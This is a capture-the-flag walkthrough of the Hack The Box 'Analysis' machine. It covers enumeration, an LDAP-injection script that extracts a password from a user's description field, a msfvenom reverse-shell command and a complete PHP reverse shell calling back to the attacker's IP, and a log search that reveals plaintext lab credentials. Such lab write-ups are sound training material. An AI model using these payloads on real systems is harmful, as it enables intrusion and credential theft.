HTB | Analysis
Machine - https://app.hackthebox.com/machines/Analysis
IP - 10.10.11.250
NMAP
└─$ nmap -sC -sV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49672,49674,49675,49678,49679,49696,49709 10.10.11.250 -Pn -oA nmap_port_details
Starting Nmap 7.95 ( <https://nmap.org> ) at 2025-08-09 16:29 IST
Nmap scan report for 10.10.11.250
Host is up (0.48s latency).
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-09 11:00:12Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3306/tcp  open  mysql         MySQL (unauthorized)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
33060/tcp open  mysqlx        MySQL X protocol listener
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 5s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-08-09T11:01:19
|_  start_date: N/A
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 108.36 secondsLDAP
└─$ ldapsearch -H ldap://10.10.11.250 -x -s base namingcontexts                                             
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#
#
dn:
namingcontexts: DC=analysis,DC=htb
namingcontexts: CN=Configuration,DC=analysis,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=analysis,DC=htb
namingcontexts: DC=DomainDnsZones,DC=analysis,DC=htb
namingcontexts: DC=ForestDnsZones,DC=analysis,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1Port 80

└─$ whatweb -v -a 3 <http://analysis.htb/>                                                                                      
WhatWeb report for <http://analysis.htb/>
Status    : 200 OK
Title     : <None>
IP        : 10.10.11.250
Country   : RESERVED, ZZ
Summary   : Email[mail@demolink.org,privacy@demolink.org], HTTPServer[Microsoft-IIS/10.0], JQuery, Microsoft-IIS[10.0], Script[text/javascript]
Detected Plugins:
[ Email ]
        Extract email addresses. Find valid email address and 
        syntactically invalid email addresses from mailto: link 
        tags. We match syntactically invalid links containing 
        mailto: to catch anti-spam email addresses, eg. bob at 
        gmail.com. This uses the simplified email regular 
        expression from 
        <http://www.regular-expressions.info/email.html> for valid 
        email address matching. 
        String       : mail@demolink.org,privacy@demolink.org
[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 
        String       : Microsoft-IIS/10.0 (from server string)
[ JQuery ]
        A fast, concise, JavaScript that simplifies how to traverse 
        HTML documents, handle events, perform animations, and add 
        AJAX. 
        Website     : <http://jquery.com/>
[ Microsoft-IIS ]
        Microsoft Internet Information Services (IIS) for Windows 
        Server is a flexible, secure and easy-to-manage Web server 
        for hosting anything on the Web. From media streaming to 
        web application hosting, IIS's scalable and open 
        architecture is ready to handle the most demanding tasks. 
        Version      : 10.0
        Website     : <http://www.iis.net/>
[ Script ]
        This plugin detects instances of script HTML elements and 
        returns the script language/type. 
        String       : text/javascript
HTTP Headers:
        HTTP/1.1 200 OK
        Content-Type: text/html
        Last-Modified: Sat, 08 Jul 2023 09:20:59 GMT
        Accept-Ranges: bytes
        ETag: "ddc152827db1d91:0"
        Server: Microsoft-IIS/10.0
        Date: Sat, 09 Aug 2025 11:09:08 GMT
        Connection: close
        Content-Length: 17830Let’s do directory and subdomain enumeration
└─$ dirsearch -u <http://analysis.htb/> -x 403,404 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See <https://setuptools.pypa.io/en/latest/pkg_resources.html>
  from pkg_resources import DistributionNotFound, VersionConflict
  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                                                                                                             
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                             
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/anurag/htb/Analysis/reports/http_analysis.htb/__25-08-09_16-39-57.txt
Target: <http://analysis.htb/>
[16:39:57] Starting:                                                                                                                                                                                                                                                         
[16:40:07] 301 -  158B  - /js  ->  <http://analysis.htb/js/>                  
[16:41:15] 301 -  159B  - /css  ->  <http://analysis.htb/css/>                
[16:41:34] 301 -  162B  - /images  ->  <http://analysis.htb/images/>          
                                                                             
Task Completed  subdomin
└─$ wfuzz -c -u <http://analysis.htb> -H "Host: FUZZ.analysis.htb" -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt --hc 302,400,301,404 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: <http://analysis.htb/>
Total requests: 484699
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                                                      
=====================================================================
000002911:   403        29 L     95 W       1268 Ch     "internal"  Let’s add this subdomain to our /etc/hosts file

Since it is 403, meaning there must be something which might be accessible on this subdomain
└─$ feroxbuster -u <http://internal.analysis.htb> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php 
                                                                                                                                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \\ \\_/ | |  \\ |__
|    |___ |  \\ |  \\ | \\__,    \\__/ / \\ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ <http://internal.analysis.htb>
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       91w     1273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       29l       93w     1284c <http://internal.analysis.htb/>
301      GET        2l       10w      170c <http://internal.analysis.htb/users> => <http://internal.analysis.htb/users/>
200      GET        1l        2w       17c <http://internal.analysis.htb/users/list.php>
301      GET        2l       10w      174c <http://internal.analysis.htb/dashboard> => <http://internal.analysis.htb/dashboard/>
301      GET        2l       10w      177c <http://internal.analysis.htb/dashboard/js> => <http://internal.analysis.htb/dashboard/js/>
301      GET        2l       10w      178c <http://internal.analysis.htb/dashboard/css> => <http://internal.analysis.htb/dashboard/css/>
301      GET        2l       10w      178c <http://internal.analysis.htb/dashboard/img> => <http://internal.analysis.htb/dashboard/img/>
302      GET        0l        0w        3c <http://internal.analysis.htb/dashboard/logout.php> => ../employees/login.php
301      GET        2l       10w      178c <http://internal.analysis.htb/dashboard/lib> => <http://internal.analysis.htb/dashboard/lib/>
301      GET        2l       10w      182c <http://internal.analysis.htb/dashboard/uploads> => <http://internal.analysis.htb/dashboard/uploads/>
200      GET        0l        0w        0c <http://internal.analysis.htb/dashboard/upload.php>
200      GET        4l        4w       38c <http://internal.analysis.htb/dashboard/index.php>
200      GET        4l        4w       35c <http://internal.analysis.htb/dashboard/form.php>
301      GET        2l       10w      174c <http://internal.analysis.htb/employees> => <http://internal.analysis.htb/employees/>
200      GET       30l       60w     1085c <http://internal.analysis.htb/employees/login.php>
200      GET        4l        4w       35c <http://internal.analysis.htb/dashboard/tickets.php>
200      GET        4l        4w       35c <http://internal.analysis.htb/dashboard/details.php>
200      GET        4l        4w       35c <http://internal.analysis.htb/dashboard/emergency.php>
301      GET        2l       10w      184c <http://internal.analysis.htb/dashboard/lib/chart> => <http://internal.analysis.htb/dashboard/lib/chart/>
404      GET        0l        0w     1259c <http://internal.analysis.htb/dashboard/css/fred>
400      GET        6l       26w      324c <http://internal.analysis.htb/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/users/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/users/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/js/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/css/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/js/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/css/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/img/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/uploads/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/img/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/lib/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/uploads/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/lib/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/employees/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/employees/error%1F_log.php>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/lib/chart/error%1F_log>
400      GET        6l       26w      324c <http://internal.analysis.htb/dashboard/lib/chart/error%1F_log.php>
[####################] - 7m    265873/265873  0s      found:40      errors:0      
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/users/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/dashboard/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/dashboard/js/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/dashboard/css/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/dashboard/img/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/dashboard/lib/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/dashboard/uploads/> 
[####################] - 6m     26584/26584   75/s    <http://internal.analysis.htb/employees/> 
[####################] - 6m     26584/26584   76/s    <http://internal.analysis.htb/dashboard/lib/chart/>  There’s a bunch of potentially interesting paths in there, and I’ll specifically want to check out the ones that returned 200:
- /users/list.php
- /dashboard/upload.php
- /dashboard/index.php
- /dashboard/form.php
- /dashboard/tickets.php
- /dashboard/details.php
- /dashboard/emergency.php
- /employees/login.php
All of the dashboard paths return an empty page.
/employees/login.php presents a login form:

/users/list.php returns a message:

Let’s fuzz for parameter
└─$ ffuf -u '<http://internal.analysis.htb/users/list.php?FUZZ=>'  -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -fs 17  
        /'___\\  /'___\\           /'___\\       
       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       
       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      
        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      
         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       
          \\/_/    \\/_/   \\/___/    \\/_/       
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : <http://internal.analysis.htb/users/list.php?FUZZ=>
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 17
________________________________________________
name                    [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 520ms]
:: Progress: [12334/12334] :: Job [1/1] :: 99 req/sec :: Duration: [0:01:46] :: Errors: 0 ::
Foothold/shell
Shell as jdoe
LDAP Injection
When passing a name parameter with * it gives some output

When passing a* it gives

It looks like * is being used as a wildcard.
It’s also worth noting that the column headers in the table line up very nicely with standard LDAP fields.
it looks like LDAP injection
LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorized, or subvert the application's logic to perform some unauthorized action.
I will take the help of 0xBen’s script and modify it a little
Let’s start with technician
└─$ cat test.py 
#!/usr/bin/env python3
import urllib.parse
import requests
import string
# Characters to test
alphanumeric_chars = string.ascii_letters + string.digits + "!@#$%^&()-_=+.;:',<.>/?\\\\|[{]}"
# No proxy
proxies = {}
headers = { 
    'User-Agent': 'Mozilla/5.0',
}
ldap_contents = ''
try_with_asterisk = False
ldap_object_type = 'user'
ldap_field = 'description'
base_url = f'<http://internal.analysis.htb/users/list.php?name=*>)(%26(objectClass={ldap_object_type})({ldap_field}='
for i in range(1, 100):
    found_char = False
    for char in alphanumeric_chars:
        if try_with_asterisk:
            encoded_char = urllib.parse.quote(ldap_contents + '*' + char, safe="")
        else:
            encoded_char = urllib.parse.quote(ldap_contents + char, safe="")
        url = f'{base_url}{encoded_char}*)'
        response = requests.get(url, headers=headers, proxies=proxies)
        # Detection logic — adjust as needed
        if 'technician' in response.text:
            ldap_contents += ('*' + char) if try_with_asterisk else char
            try_with_asterisk = False
            found_char = True
            break
    if not found_char:
        if not try_with_asterisk:
            try_with_asterisk = True
        else:
            break
    if not try_with_asterisk:
        print(f'LDAP contents of {ldap_field} field so far: {ldap_contents}')
if ldap_contents:
    print(f'Final output of LDAP {ldap_field}: {ldap_contents}')
else:
    print(f'Nothing found in LDAP field: {ldap_field}')output
└─$ python3 test.py
LDAP contents of description field so far: 9
LDAP contents of description field so far: 97
LDAP contents of description field so far: 97N
LDAP contents of description field so far: 97NT
LDAP contents of description field so far: 97NTt
LDAP contents of description field so far: 97NTtl
LDAP contents of description field so far: 97NTtl*4
LDAP contents of description field so far: 97NTtl*4Q
LDAP contents of description field so far: 97NTtl*4QP
LDAP contents of description field so far: 97NTtl*4QP9
LDAP contents of description field so far: 97NTtl*4QP96
LDAP contents of description field so far: 97NTtl*4QP96B
LDAP contents of description field so far: 97NTtl*4QP96Bv
	Final output of LDAP description: 97NTtl*4QP96Bvlogin via the technician via portal
I can login to the employee portal


PHP file upload and shell as svc_web
We can upload a report for the SOC team to analyse

When uploading an exe, it says file is safe, but we didn’t get any call back
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=1234 -f exe -o revshell.exe 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: revshell.exe
On looking at Burp, we found that it is saving the file to uploads directory


I used revshells.com for shell.php
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at <https://github.com/pentestmonkey/php-reverse-shell>.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = '/bin/bash';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '<', $data);
        $data = str_replace('>', '>', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();
            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }
                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------
                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------
                fclose($socket);
            }
            // ------ SOCKET END ------
        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.7', 1234);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>Upload this and load http://internal.analysis.htb/dashboard/uploads/shell.php and we get the call back on our listner
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.250] 56300
SOCKET: Shell has connected! PID: 9824
Microsoft Windows [version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. Tous droits r�serv�s.
C:\\inetpub\\internal\\dashboard\\uploads>whoami
analysis\\svc_web
C:\\inetpub\\internal\\dashboard\\uploads>enum log files
We found 2 dir in LogFile
 R�pertoire de C:\\inetpub\\logs\\LogFiles
13/05/2023  10:23    <DIR>          .
13/05/2023  10:23    <DIR>          ..
09/08/2025  13:08    <DIR>          W3SVC1
10/01/2024  13:30    <DIR>          W3SVC2 R�pertoire de C:\\inetpub\\logs\\LogFiles\\W3SVC1
09/08/2025  13:08    <DIR>          .
09/08/2025  13:08    <DIR>          ..
10/01/2024  13:30               263 u_ex240108.log
09/08/2025  13:17         4�611�190 u_ex250809.log
               2 fichier(s)        4�611�453 octets
               2 R�p(s)   4�020�133�888 octets libres
C:\\inetpub\\logs\\LogFiles>dir W3SVC2
 Le volume dans le lecteur C n'a pas de nom.
 Le num�ro de s�rie du volume est 0071-E237
 R�pertoire de C:\\inetpub\\logs\\LogFiles\\W3SVC2
10/01/2024  13:30    <DIR>          .
10/01/2024  13:30    <DIR>          ..
09/08/2025  16:53        56�071�020 u_ncsa1.log
               1 fichier(s)       56�071�020 octets
               2 R�p(s)   4�020�133�888 octets libres
C:\\inetpub\\logs\\LogFiles>   on looking for username and password, we fond multiple alerts for jdoe
C:\\inetpub\\logs\\LogFiles\\W3SVC2>findstr username u_ncsa1.log
127.0.0.1 - - [09/Aug/2025:13:00:24 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
127.0.0.1 - - [09/Aug/2025:13:02:23 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
10.10.16.7 - - [09/Aug/2025:13:21:43 +0200] "GET /usernames.txt HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:28:29 +0200] "GET /users/usernames.txt HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:31:35 +0200] "GET /users/space-username HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:36:17 +0200] "GET /users/username HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:37:47 +0200] "GET /space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:37:47 +0200] "GET /space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:37:50 +0200] "GET /users/space-username HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:37:50 +0200] "GET /users/space-username.php HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:37:59 +0200] "GET /dashboard/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:37:59 +0200] "GET /dashboard/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:00 +0200] "GET /dashboard/js/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:00 +0200] "GET /dashboard/css/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:00 +0200] "GET /dashboard/img/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:00 +0200] "GET /dashboard/js/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:00 +0200] "GET /dashboard/css/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:00 +0200] "GET /dashboard/img/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:01 +0200] "GET /dashboard/uploads/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:01 +0200] "GET /dashboard/lib/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:01 +0200] "GET /dashboard/lib/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:01 +0200] "GET /dashboard/uploads/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:07 +0200] "GET /employees/space-username HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:38:07 +0200] "GET /employees/space-username.php HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:38:29 +0200] "GET /dashboard/lib/chart/space-username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:38:29 +0200] "GET /dashboard/lib/chart/space-username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:08 +0200] "GET /username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:08 +0200] "GET /username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:11 +0200] "GET /users/username HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:40:11 +0200] "GET /users/username.php HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:40:20 +0200] "GET /dashboard/username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:20 +0200] "GET /dashboard/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:21 +0200] "GET /dashboard/css/username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:21 +0200] "GET /dashboard/js/username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:21 +0200] "GET /dashboard/css/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:21 +0200] "GET /dashboard/js/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:21 +0200] "GET /dashboard/img/username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:21 +0200] "GET /dashboard/uploads/username HTTP/1.1" 404 1397
